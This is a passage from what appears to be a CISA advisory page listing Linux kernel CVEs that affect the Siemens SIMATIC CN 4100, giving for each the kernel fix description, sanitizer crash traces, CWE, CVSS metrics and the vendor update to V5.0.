<p>In the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39783">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39787</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39787">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39788</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39788">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39790</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d ("bus: mhi: ep: Update read pointer only after buffer is written")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39790">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/415.html">CWE-415 Double Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39794</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39794">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39795</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t-&gt;chunk_sectors value is a multiple of the t-&gt;physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39795">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39798</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39798">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/273.html">CWE-273 Improper Check for Dropped Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39800</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39800">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39801</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= -&gt;dwc3_thread_interrupt -&gt;dwc3_ep0_interrupt -&gt;configfs_composite_setup -&gt;composite_setup -&gt;usb_ep_queue -&gt;dwc3_gadget_ep0_queue -&gt;__dwc3_gadget_ep0_queue -&gt;__dwc3_ep0_do_control_data -&gt;dwc3_send_gadget_ep_cmd 2. Disconnect ========== -&gt;dwc3_thread_interrupt -&gt;dwc3_gadget_disconnect_interrupt -&gt;dwc3_ep0_reset_state -&gt;dwc3_ep0_end_control_data -&gt;dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39801">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39806</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39806">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39808</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev-&gt;dev.parent-&gt;parent to null if hdev-&gt;dev.parent-&gt;parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39808">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39812</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39812">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
